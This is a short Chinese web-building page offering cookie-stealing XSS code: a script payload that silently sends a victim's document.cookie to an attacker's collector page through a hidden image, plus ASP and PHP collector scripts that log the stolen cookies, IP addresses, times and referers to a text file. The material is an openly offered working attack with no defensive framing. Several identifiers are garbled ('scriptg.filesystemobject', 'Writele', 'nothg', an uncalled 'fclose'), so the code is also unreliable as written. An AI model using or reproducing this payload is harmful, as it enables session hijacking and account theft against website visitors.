asp php XSS获取cookie的代码

网站建设 2023-02-09 11:06www.1681989.com免费网站
<script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>
news.asp代码
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cook.txt")
set fs=server.CreateObject("scriptg.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writele(""&msg& "")
thisfile.close
set fs = nothg
%>

PHP版代码
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: '

.$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose
?>

Copyright © 2016-2025 www.1681989.com 推火网 版权所有 Power by